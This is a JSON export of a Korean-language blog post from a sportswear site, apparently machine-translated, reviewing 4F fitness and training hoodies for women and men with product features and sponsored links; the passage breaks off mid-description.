{"id":6268,"date":"2023-11-27T10:12:23","date_gmt":"2023-11-27T10:12:23","guid":{"rendered":"https:\/\/slinka.pl\/?p=6268"},"modified":"2025-10-21T08:36:04","modified_gmt":"2025-10-21T08:36:04","slug":"bluzy-do-fitnessu-i-treningu","status":"publish","type":"post","link":"https:\/\/slinka.pl\/kr\/bluzy-do-fitnessu-i-treningu\/","title":{"rendered":"\ud5ec\uc2a4\ub8e9 \ud544\uc218\ud488: \ud53c\ud2b8\ub2c8\uc2a4 &amp; \uc6b4\ub3d9\uc6a9 \uc2a4\uc6e8\ud2b8\uc154\uce20"},"content":{"rendered":"<p>\ub300\ubd80\ubd84\uc758 \uc0ac\ub78c\ub4e4\uc740 \uccb4\uc721\uad00\uc5d0 \uac08 \ub54c \ud6c4\ub4dc\ud2f0\ub97c \uc785\ub294 \uac83\uc744 \uc120\ud638\ud569\ub2c8\ub2e4. \uc65c? \uc601\ud654\uc5d0 \ub098\uc624\ub294 \ub85c\ud0a4\ub098 \ub2e4\ub978 \uad8c\ud22c \uc120\uc218\ub4e4\ucc98\ub7fc \ubcf4\uc774\uace0 \uc2f6\uc5b4\uc11c \uadf8\ub7f0\uac00\uc694? \uc544\ub9c8\ub3c4. \uc544\ub2c8\uba74 \uc6b4\ub3d9\uc744 \uc2dc\uc791\ud560 \ub54c \ud6c4\ub4dc\ud2f0\ub97c \uc785\uace0 \uc2f6\uc5b4\ud560 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4. \ube68\ub9ac \uc6cc\ubc0d\uc5c5\ud560 \uc218 \uc788\uace0 \ud53c\ud2b8\ub2c8\uc2a4\uc640 \uc6b4\ub3d9\uc6a9 \ud6c4\ub4dc\ud2f0\ub294 \uc2e0\uccb4 \uc720\ud615\uc744 \uc27d\uac8c \uac10\ucdb0\uc8fc\uae30 \ub54c\ubb38\uc5d0 \uc790\uc2e0\uac10\uc744 \uac00\uc9c8 \ud544\uc694\uac00 \uc5c6\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.<\/p>\n<p>\ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \uc6b4\ub3d9\uc6a9 \uc2a4\uc6e8\ud2b8\uc154\uce20\uac00 \uc778\uae30 \uc788\ub294 \ud5ec\uc2a4\ubcf5\uc778 \ub370\uc5d0\ub294 \uc218\ub9ce\uc740 \uc774\uc720\uac00 \uc788\uc9c0\ub9cc, \uac00\uc7a5 \uc911\uc694\ud55c \uac83\uc740 \ub9e4\uc6b0 \ud3b8\uc548\ud558\uace0 \uac00\ubccd\uae30 \ub54c\ubb38\uc5d0 \uc6b4\ub3d9\ud560 \ub54c\ub294 \uc785\uc9c0 \uc54a\ub294 \uac83\uc785\ub2c8\ub2e4.<\/p>\n<p>\uc774 \ube14\ub85c\uadf8\uc5d0\uc11c 4F\uc758 \ucd5c\uace0\uc758 \ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20\ub97c \uc0b4\ud3b4\ubcf4\uaca0\uc2b5\ub2c8\ub2e4!<\/p>\n<h2>\uc2a4\ud3ec\uce20\uc6e8\uc5b4 \ube0c\ub79c\ub4dc\ub294 \ucd5c\uace0\uc758 \ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20\ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4.<\/h2>\n<p>\uc624\ub298\ub0a0, \uc77c\uc0c1\ubcf5, \uc2a4\ud3ec\uce20\uc6e8\uc5b4, \ud1f4\uadfc \ud6c4 \uce90\uc8fc\uc5bc\ubcf5 \uc0ac\uc774\uc758 \uacbd\uacc4\uac00 \ubaa8\ud638\ud574\uc84c\uc2b5\ub2c8\ub2e4. 2023\ub144\uc5d0\ub294 \ud5ec\uc2a4\uc7a5, \uc694\uac00 \ub9e4\ud2b8, \uc2a4\ud29c\ub514\uc624\ub97c \uc81c\uc678\ud55c \ubaa8\ub4e0 \uac83\uc774 \uc0b4\uc544\uc788\uc2b5\ub2c8\ub2e4. \ud5ec\uc2a4\uc7a5\uc5d0\uc11c \uc785\uae30 \uc801\ud569\ud560 \ubfd0\ub9cc \uc544\ub2c8\ub77c \uc2a4\ud0c0\uc77c\ub9ac\uc2dc\ud55c \ucd5c\uace0\uc758 \ub9e4\uc7a5\uc6a9 \uc6b4\ub3d9\ubcf5\uc744 \uc0dd\uc0b0\ud558\ub294 \uba87\uba87 \uc2e0\uc9c4 \uc720\uba85 \ube0c\ub79c\ub4dc\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<h3>1. \ub098\uc774\ud0a4:<\/h3>\n<p>\ucd5c\uace0\uc758 \ud074\ub798\uc2dd \ud53c\ud2b8\ub2c8\uc2a4 \ube0c\ub79c\ub4dc\uc778 \ub098\uc774\ud0a4\uac00 \ucd5c\uace0\uc758 \uc2a4\ud3ec\uce20\uc6e8\uc5b4 \ubaa9\ub85d\uc5d0\uc11c 1\uc704\ub97c \ucc28\uc9c0\ud558\uc9c0 \uc54a\uc740 \uc801\uc774 \uc788\uc744\uae4c? \uc6b0\ub9ac\ub294 \uadf8\ub807\uc9c0 \uc54a\ub2e4\uace0 \uc0dd\uac01\ud569\ub2c8\ub2e4. \uc774 \ud68c\uc0ac\uc758 \uace0\uc131\ub2a5 \ud53c\ud2b8\ub2c8\uc2a4 \uc6e8\uc5b4\ub294 \ud3b8\uc548\ud558\uace0 \ud479\uc2e0\ud560 \ubfd0\ub9cc \uc544\ub2c8\ub77c DRI-Fit \uae30\uc220\uc744 \uc801\uc6a9\ud574 \uae30\uc874 \uc2a4\ud2b8\ub808\uce58 \uc6d0\uc0ac\uc640 \ube44\uc2b7\ud558\uac8c \uc587\uace0 \ud2bc\ud2bc\ud558\uac8c \ub9cc\ub4e4\uc5b4 \uac00\ubccd\uace0 \ud3b8\uc548\ud55c \uc6c0\uc9c1\uc784\uc758 \uc790\uc720\ub97c \ubcf4\uc7a5\ud569\ub2c8\ub2e4.<\/p>\n<h3>2.\uc544\ub514\ub2e4\uc2a4:<\/h3>\n<p>\uc544\ub514\ub2e4\uc2a4\ub294 \ub9e4\ub048\ud55c \ub77c\uc778\uacfc \uc0c1\uc9d5\uc801\uc778 \uc7ac\ud65c\uc6a9 \ud074\ub798\uc2dd\uc73c\ub85c \uc720\uba85\ud569\ub2c8\ub2e4. Better Cotton Initiative\uc640\uc758 \ud30c\ud2b8\ub108\uc2ed\uc744 \ud1b5\ud574 \uc9c0\uc18d \uac00\ub2a5\ud55c \uba74\ud654 \ub18d\uc0ac\ub97c \uc9c0\uc6d0\ud558\uace0 \ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \uc6b4\ub3d9\uc6a9 \uc2a4\uc6e8\ud2b8\uc154\uce20\uc640 \uac19\uc740 \ub2e4\ucc44\ub85c\uc6b4 \ud074\ub798\uc2dd \uc81c\ud488\uc744 \uc81c\uc791\ud569\ub2c8\ub2e4.<\/p>\n<h3>3. \uc694\uac00\ub97c \ub118\uc5b4\uc11c:<\/h3>\n<p>Beyond Yoga\uc5d0 \ub300\ud55c \ud654\uc81c\ub294 \uc784\uc0b0\ubd80\ub4e4\uc774 \uc774 \ub77c\uc778\uc758 \uc784\ubd80\ubcf5\uc744 \uc785\uc5b4\ubcf4\uc558\uc744 \ub54c \uc5bc\ub9c8\ub098 \ud3b8\uc548\ud55c\uc9c0 \ub9d0\ud558\uba74\uc11c \uc2dc\uc791\ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uc774\uc81c \uadf8\ub4e4\uc740 \uc778\uc0dd\uc758 \ubaa8\ub4e0 \ub2e8\uacc4\uc5d0 \uc801\ud569\ud55c \ud3b8\uc548\ud55c \uae30\ubcf8 \uc758\ub958 \ubd84\uc57c\uc5d0\uc11c 1\uc704\ub97c \ucc28\uc9c0\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n<h3>4.\ub77c\ucf54\uc2a4\ud14c:<\/h3>\n<p>\ub77c\ucf54\uc2a4\ud14c\uc758 \ucd5c\uc2e0 \uceec\ub809\uc158\uc758 \ubaa9\ud45c\ub294 \uc5ec\uc131\uc758 \uc0b6\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \ub2e4\uc591\ud55c \uc637\uc744 \ub9cc\ub4dc\ub294 \uac83\uc785\ub2c8\ub2e4. Sporty &amp; Rich \ub610\ub294 Bandier\uc640\uc758 \ud611\uc5c5\uc774\ub4e0, \ud14c\ub2c8\uc2a4 \ud074\ub798\uc2dd\uc774\ub4e0, Lacoste \uc2a4\ud3ec\uce20 \uceec\ub809\uc158\uc740 \uacbd\uc7c1\uc5d0\uc11c \ud074\ub7fd\uc73c\ub85c\uc758 \uc804\ud658\uc744 \uc704\ud574 \ub514\uc790\uc778\ub418\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n<h2>4F\uc5d0\uc11c \ud53c\ud2b8\ub2c8\uc2a4\uc640 \ud2b8\ub808\uc774\ub2dd\uc744 \uc704\ud55c \uc5ec\uc131\uc6a9 \uc2a4\uc6e8\ud2b8\uc154\uce20<\/h2>\n<h3>1. GirlsZipper-Up \uc2a4\ud3ec\uce20 \ud6c4\ub4dc \ud2f0\uc154\uce20 \u2013 \ud551\ud06c<\/h3>\n<figure id=\"attachment_6274\" aria-describedby=\"caption-attachment-6274\" style=\"width: 900px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-6274\" src=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/1.webp\" alt=\"DziewczynyZamek b\u0142yskawiczny-Up Sportowa bluza z kapturem - r\u00f3\u017cowa\" width=\"900\" height=\"500\" srcset=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/1.webp 900w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/1-300x167.webp 300w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/1-768x427.webp 768w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><figcaption id=\"caption-attachment-6274\" class=\"wp-caption-text\">GirlsZipper-Up \uc2a4\ud3ec\uce20 \ud6c4\ub4dc \ud2f0\uc154\uce20 \u2013 \ud551\ud06c | \uc2ac\ub9b0\uce74<\/figcaption><\/figure>\n<p><a href=\"https:\/\/slinka.pl\/kr\/i854\/\" target=\"_blank\" rel=\"nofollow noopener sponsored\">\ud551\ud06c\uc0c9 \uc5ec\uc790\uc6a9 \uc9c0\ud37c \uc2a4\ud3ec\uce20 \uc2a4\uc6e8\ud2b8\uc154\uce20<\/a> \uc6b4\ub3d9\ud558\ub294 \ub3d9\uc548 \uc544\uc774\uac00 \ud3b8\uc548\ud568\uc744 \uc720\uc9c0\ud560 \uc218 \uc788\ub3c4\ub85d \ud0c4\ub825 \uc788\ub294 \uc6d0\ub2e8\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc84c\uc2b5\ub2c8\ub2e4. \uc774 \uc81c\ud488\uc5d0\ub294 \ud6c4\ub4dc\uc640 \uc624\ud508 \ud3ec\ucf13 2\uac1c\uac00 \uc788\uc2b5\ub2c8\ub2e4. \uc6b4\ub3d9 \uc911\uc5d0 \uc18c\ub9e4\uac00 \uc62c\ub77c\uac00\ub294 \uac83\uc744 \ubc29\uc9c0\ud558\uae30 \uc704\ud574, \ud655\uc7a5\ub41c \ucee4\ud504\uc2a4\uc5d0 \uc5c4\uc9c0 \uad6c\uba4d\uc744 \ucd94\uac00\ub85c \ub9cc\ub4e4\uc5c8\uc2b5\ub2c8\ub2e4. \uad6c\uc5ed\ubcc4 \uba54\uc26c \ud658\uae30 \uc2dc\uc2a4\ud15c \ub355\ubd84\uc5d0 \uaddc\uce59\uc801\uc778 \uacf5\uae30 \uc21c\ud658\uc774 \uac00\ub2a5\ud569\ub2c8\ub2e4. \ub610\ud55c, 4FWarm \uae30\uc220\uc774 \uc801\uc6a9\ub41c \ubd80\ub4dc\ub7ec\uc6b4 \ub9c8\uc774\ud06c\ub85c\ud50c\ub9ac\uc2a4 \uc548\uac10\uc740 \ucd94\uc6b4 \ub0a0\uc528\uc5d0\ub3c4 \ucda9\ubd84\ud55c \ub530\ub73b\ud568\uacfc \ud3b8\uc548\ud568\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>\uc804\uc7a5 \uc9c0\ud37c<\/li>\n<li>\ubaa9 \ud14c\uc774\ud504<\/li>\n<li>\uc624\ud508 \uc0ac\uc774\ub4dc \ud3ec\ucf13<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c\ub294 \uc790\uc720\ub85c\uc6b4 \uc6c0\uc9c1\uc784\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4<\/li>\n<li>\uc5c4\uc9c0 \uad6c\uba4d\uc774 \uc788\ub294 \ud0c4\ub825 \uc788\ub294 \ucee4\ud504\uc2a4<\/li>\n<li>\ud314 \uc544\ub798 \uba54\uc2dc \uc778\uc11c\ud2b8<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3>2. \uc5ec\uc131\uc6a9 \uc9c0\ud37c\uc5c5 \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20 \u2013 \uadf8\ub808\uc774<\/h3>\n<p>\uc5ec\uc131\uc6a9 \ud480 \uc9c0\ud37c \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc \ud2f0\uc154\uce20\ub294 \ud68c\uc0c9\uc73c\ub85c \ucd9c\uc2dc\ub418\uba70, \ub2e4\uc591\ud55c \uc2e0\uccb4 \uc0ac\uc774\uc988\uc5d0 \ub9de\ub3c4\ub85d \uc5ec\ub7ec \uc0ac\uc774\uc988\ub85c \ucd9c\uc2dc\ub429\ub2c8\ub2e4. \uac00\uc744\ucca0\uc5d0 \ub530\ub73b\ud558\uace0 \ud3b8\uc548\ud55c \ucc29\uc6a9\uac10\uc744 \uc81c\uacf5\ud558\ub294 \ub2e8\uba74 \uc194\uc9c8 \uc6d0\ub2e8\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc84c\uc73c\uba70, \ud5ec\uc2a4\uc7a5, \uc2ec\ubd80\ub984, \uc9d1\uc5d0\uc11c \ub9e4\uc77c \ud3b8\uc548\ud558\uac8c \ucc29\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc6d0\ub2e8 \uad6c\uc870\ub85c \uc778\ud574 \ube60\ub978 \uac74\uc870\uc640 \ucd5c\uc801\uc758 \uacf5\uae30 \uc21c\ud658\uc774 \ud2b9\uc9d5\uc785\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>\ucd94\uac00 \ucee4\ubc84\ub9ac\uc9c0\ub97c \uc704\ud574 \ub4a4\ub85c \ud655\uc7a5<\/li>\n<li>\ub4b7\uba74\uc774 \uc194\uc9c8\ub41c \uc6d0\ub2e8<\/li>\n<li>\ubd80\ub4dc\ub7ec\uc6b4 \uc18c\uc7ac<\/li>\n<li>2\uac1c\uc758 \uc5f4\ub9b0 \uce21\uba74 \ud3ec\ucf13 + 2\uac1c\uc758 \uc5f4\ub9b0 \ub0b4\ubd80 \ud3ec\ucf13<\/li>\n<li>\uac00\ubccd\uac8c \uaca8\ub4dc\ub791\uc774\uac00 \uc788\ub294 \uc18c\ub9e4; \uc870\uc815\uc774 \uc5c6\ub294 \ubc14\ub2e5<\/li>\n<li>\ud131 \ubcf4\ud638\ub300\uac00 \uc788\ub294 \uc804\uccb4 YKK \uc9c0\ud37c<\/li>\n<li>\ub192\uc740 \uce7c\ub77c\uc5d0 \ub048 \uc870\uc808\uc774 \uac00\ub2a5\ud55c \ub354\ube14 \ub808\uc774\uc5b4 \ud6c4\ub4dc<\/li>\n<\/ul>\n<hr \/>\n<h3>3. \uc9c0\ud37c\uc5c5 \uc7ac\ud65c\uc6a9 \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc\ud2f0 \u2013 \ubcf4\ub77c\uc0c9<\/h3>\n<figure id=\"attachment_6276\" aria-describedby=\"caption-attachment-6276\" style=\"width: 900px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-6276\" src=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/2.webp\" alt=\"Zamek b\u0142yskawiczny-Up Treningowa bluza z kapturem z materia\u0142\u00f3w pochodz\u0105cych z recyklingu - fiolet\" width=\"900\" height=\"500\" srcset=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/2.webp 900w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/2-300x167.webp 300w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/2-768x427.webp 768w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><figcaption id=\"caption-attachment-6276\" class=\"wp-caption-text\">\uc9c0\ud37c\uc5c5 \uc7ac\ud65c\uc6a9 \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc \ud2f0\uc154\uce20 \u2013 \ud37c\ud50c | \uc2ac\ub9b0\uce74<\/figcaption><\/figure>\n<p>\uc2e0\ucd95\uc131 \uc788\ub294 \uc7ac\ud65c\uc6a9 \uc6d0\ub2e8\uc73c\ub85c \uc81c\uc791 <a href=\"https:\/\/slinka.pl\/kr\/i854\/\" target=\"_blank\" rel=\"nofollow noopener sponsored\">\ud37c\ud50c \uc9c0\ud37c\uc5c5 \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20<\/a> 75% \ud3f4\ub9ac\uc5d0\uc2a4\ud130\uc640 25% \uc5d8\ub77c\uc2a4\ud14c\uc778\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \uc774 \uc81c\ud488\uc740 \ub354\ube14 \uacb9 \ud6c4\ub4dc\uac00 \ub2ec\ub9b0 4\uce35 \ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \ud2b8\ub808\uc774\ub2dd\uc5d0 \uac00\uc7a5 \ud3b8\uc548\ud55c \uc2a4\uc6e8\ud2b8\uc154\uce20 \uc911 \ud558\ub098\uc785\ub2c8\ub2e4. \uc6b4\ub3d9 \uc911 \uc2b5\uae30\ub97c \uc27d\uac8c \ubc30\ucd9c\ud560 \uc218 \uc788\ub3c4\ub85d \uc774 \uc2a4\uc6e8\ud2b8\uc154\uce20\uc5d0\ub294 \ube60\ub974\uac8c \ub9c8\ub974\ub294 4FDry \uae30\uc220\uc774 \uc801\uc6a9\ub41c \ub2c8\ud2b8 \uc18c\uc7ac\uac00 \uc0ac\uc6a9\ub418\uc5c8\uc2b5\ub2c8\ub2e4. \ud1b5\ud569 \ud6c4\ub4dc\ub294 \uc5b4\ub5a0\ud55c \uc870\uc815 \uc5c6\uc774 \uc81c\uacf5\ub429\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>\uc804\uc7a5 \uc9c0\ud37c<\/li>\n<li>\uc624\ud508 \uc0ac\uc774\ub4dc \ud3ec\ucf13<\/li>\n<li>\ubaa9 \ud14c\uc774\ud504<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c\ub294 \uc644\ubcbd\ud55c \uc6c0\uc9c1\uc784\uc758 \uc790\uc720\ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4<\/li>\n<li>\uc5c4\uc9c0 \uad6c\uba4d\uc774 \uc788\ub294 \ud0c4\ub825 \uc788\ub294 \ucee4\ud504\uc2a4<\/li>\n<\/ul>\n<hr \/>\n<h3>4. \uc5ec\uc131\uc6a9 \uc9c0\ud37c\uc5c5 \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc \ud2f0\uc154\uce20 \u2013 \ud551\ud06c<\/h3>\n<p>\uc774 \uc5ec\uc131\uc6a9 \ud480\uc9c0\ud37c \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20\ub294 \uc7ac\ud65c\uc6a9 \uc12c\uc720\uac00 \ub4e4\uc5b4\uac04 \uc2e0\ucd95\uc131 \uc788\ub294 \uc800\uc9c0 \uc6d0\ub2e8\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc84c\uc2b5\ub2c8\ub2e4. 75% \uc7ac\ud65c\uc6a9 \ud3f4\ub9ac\uc5d0\uc2a4\ud130\ub97c \uc0ac\uc6a9\ud558\uace0, \uc2b5\uae30\ub97c \ud761\uc218\ud558\ub294 4FDry \uae30\uc220\uc744 \ud0d1\uc7ac\ud588\uc2b5\ub2c8\ub2e4. \ud6c4\ub4dc\uc640 \ub450 \uac1c\uc758 \uc624\ud508 \ud3ec\ucf13\uc774 \uc788\uc73c\uba70, \ud655\uc7a5\ub41c \ucee4\ud504\uc2a4\uc5d0\ub294 \uc5c4\uc9c0 \uad6c\uba4d\uc774 \uc788\uc5b4 \uc6b4\ub3d9 \uc911\uc5d0 \uc18c\ub9e4\uac00 \uc62c\ub77c\uac00\ub294 \uac83\uc744 \ubc29\uc9c0\ud569\ub2c8\ub2e4.<\/p>\n<p>\uc774 \uc2a4\uc6e8\ud2b8\uc154\uce20\ub294 30\u00b0C\uc758 \uc77c\ubc18 \uc628\ub3c4\uc5d0\uc11c \uc138\ud0c1\uae30\ub85c \uc138\ud0c1\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uac74\uc870\uae30 \uc0ac\uc6a9, \ud45c\ubc31, \ub4dc\ub77c\uc774\ud074\ub9ac\ub2dd\uc740 \uad8c\uc7a5\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>\uc804\uc7a5 \uc9c0\ud37c<\/li>\n<li>\uc624\ud508 \uc0ac\uc774\ub4dc \ud3ec\ucf13<\/li>\n<li>\ubaa9 \ud14c\uc774\ud504<\/li>\n<li>\ud3b8\uc548\ud55c \ub354\ube14 \ub808\uc774\uc5b4 \ud6c4\ub4dc<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c\ub294 \uc790\uc720\ub85c\uc6b4 \uc6c0\uc9c1\uc784\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4<\/li>\n<li>\uc5c4\uc9c0 \uad6c\uba4d\uc774 \uc788\ub294 \ud0c4\ub825 \uc788\ub294 \ucee4\ud504\uc2a4<\/li>\n<\/ul>\n<h2>4F\uc5d0\uc11c \ud53c\ud2b8\ub2c8\uc2a4 \ubc0f \ud2b8\ub808\uc774\ub2dd\uc744 \uc704\ud55c \ub0a8\uc131\uc6a9 \uc2a4\uc6e8\ud2b8\uc154\uce20<\/h2>\n<h3>1. \uc9c0\ud37c\uc5c5 \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc\ud2f0 - \ube14\ub799<\/h3>\n<figure id=\"attachment_6278\" aria-describedby=\"caption-attachment-6278\" style=\"width: 900px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-6278\" src=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/3.webp\" alt=\"Treningowa bluza z kapturem zapinana na zamek - czarna\" width=\"900\" height=\"500\" srcset=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/3.webp 900w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/3-300x167.webp 300w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/3-768x427.webp 768w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><figcaption id=\"caption-attachment-6278\" class=\"wp-caption-text\">\ud480 \uc9c0\ud37c \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc \ud2f0\uc154\uce20 \u2013 \ube14\ub799 | \uc2ac\ub9b0\uce74<\/figcaption><\/figure>\n<p>\uc774 \uc9c0\ud37c \ud6c4\ub4dc \ud2f0\ub294 \ube0c\ub7ec\uc26c\ub4dc \uc6d0\ub2e8\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc838 \uc77c\uc0c1\uc758 \uc6b4\ub3d9\uacfc \uc9d1\uc548\uc77c\uc744 \ud560 \ub54c \ub530\ub73b\ud568\uacfc \ud3b8\uc548\ud568\uc744 \uc720\uc9c0\ud574\uc90d\ub2c8\ub2e4. \uc774 \uc81c\ud488\uc740 90% \ud3f4\ub9ac\uc5d0\uc2a4\ud130\uc640 10% \uc5d8\ub77c\uc2a4\ud14c\uc778 \uc18c\uc7ac\ub85c \ub9cc\ub4e4\uc5b4\uc84c\uc2b5\ub2c8\ub2e4. \ub354\ube14 \ub808\uc774\uc5b4 \ud6c4\ub4dc\ud2f0\ub294 \uc870\uc808 \uac00\ub2a5\ud55c \ub048\uacfc \ub192\uc740 \uce7c\ub77c\ub97c \uac16\ucd94\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>2\uac1c\uc758 \uc624\ud508 \uc0ac\uc774\ub4dc \ud3ec\ucf13<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c\ub294 \uc790\uc720\ub85c\uc6b4 \uc6c0\uc9c1\uc784\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4<\/li>\n<li>\ub4b7\uba74\uc774 \uc194\uc9c8\ub41c \uc6d0\ub2e8<\/li>\n<li>\ubc11\ub2e8\uacfc \uc18c\ub9e4\ub294 \uace0\ubb34 \ubc34\ub4dc\ub85c \ub9c8\uac10<\/li>\n<li>\ubd80\ub4dc\ub7ec\uc6b4 \ub2c8\ud2b8 \uc6d0\ub2e8<\/li>\n<li>\ud131 \ubcf4\ud638\ub300\uac00 \uc788\ub294 \uc804\uccb4 YKK \uc9c0\ud37c<\/li>\n<\/ul>\n<hr \/>\n<h3>2. \ud480\uc624\ubc84\uac00 \ub2ec\ub9b0 \ub0a8\uc131\uc6a9 \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc\ud2f0<\/h3>\n<p>\uc774\uac83 <a href=\"https:\/\/slinka.pl\/kr\/i854\/\" target=\"_blank\" rel=\"nofollow noopener sponsored\">\ub0a8\uc131\uc6a9 \ud6c4\ub4dc \ud2b8\ub808\uc774\ub2dd \uc2a4\uc6e8\ud2b8\uc154\uce20<\/a>\ud504\ub80c\uce58 \ud14c\ub9ac \ucc9c\uacfc \ucf54\ud2bc\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc84c\uc2b5\ub2c8\ub2e4. 4FDry \uae30\uc220\ub85c \uc6b4\ub3d9 \uc911 \uc2b5\uae30\ub97c \ube60\ub974\uac8c \uc81c\uac70\ud569\ub2c8\ub2e4. \uba38\ub9ac \uc704\ub85c \ub36e\ub294 \ud6c4\ub4dc\uac00 \ub2ec\ub824 \uc788\uc73c\uba70, \ud6c4\ub4dc\ub294 \ub048\uc73c\ub85c \uc870\uc808\uc774 \uac00\ub2a5\ud569\ub2c8\ub2e4.<\/p>\n<p>\ucd94\uac00 \uae30\ub2a5:<\/p>\n<ul>\n<li>\uc8fc\uba38\ub2c8 \uc5c6\uc74c<\/li>\n<li>\uc55e\uba74\uc5d0 \uc778\uc1c4<\/li>\n<li>\ub048\uc774 \uc5c6\ub294 \ubc14\ub2e5<\/li>\n<li>\ub77c\uae00\ub7f0 \uc2ac\ub9ac\ube0c \uad6c\uc870<\/li>\n<\/ul>\n<hr \/>\n<h3>3. \uc9c0\ud37c\uc5c5 \ud2b8\ub808\uc774\ub2dd \ub9ac\uc0ac\uc774\ud074 \ud6c4\ub4dc\ud2f0 \u2013 \ub124\uc774\ube44<\/h3>\n<figure id=\"attachment_6280\" aria-describedby=\"caption-attachment-6280\" style=\"width: 900px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-6280\" src=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/4.webp\" alt=\"Zamek b\u0142yskawiczny-Up Training Bluza z kapturem z materia\u0142\u00f3w pochodz\u0105cych z recyklingu - granatowa\" width=\"900\" height=\"500\" srcset=\"https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/4.webp 900w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/4-300x167.webp 300w, https:\/\/slinka.pl\/wp-content\/uploads\/2023\/11\/4-768x427.webp 768w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><figcaption id=\"caption-attachment-6280\" class=\"wp-caption-text\">\uc9c0\ud37c\uc5c5 \ud2b8\ub808\uc774\ub2dd \ub9ac\uc0ac\uc774\ud074 \ud6c4\ub4dc\ud2f0 \u2013 \ub124\uc774\ube44 | \uc2ac\ub9b0\uce74<\/figcaption><\/figure>\n<p>\uc774 \ub0a8\uc131\uc6a9 \ud480\uc9c0\ud37c \ud2b8\ub808\uc774\ub2dd \ud6c4\ub4dc \ud2f0\uc154\uce20\ub85c \ub530\ub73b\ud558\uace0 \ud3b8\uc548\ud558\uac8c \uc9c0\ub0b4\ubcf4\uc138\uc694. \uc6d0\ub2e8\uc5d0\ub294 \uc7ac\ud65c\uc6a9 \ud3f4\ub9ac\uc5d0\uc2a4\ud130\uc640 \ud53c\ubd80\uc5d0 \ubd80\ub4dc\ub7ec\uc6b4 \ub2e8\uba74 \uc194\uc9c8 \ub2c8\ud2b8\uac00 \uc0ac\uc6a9\ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uc6b4\ub3d9 \uc911 \ud3b8\uc548\ud568\uc744 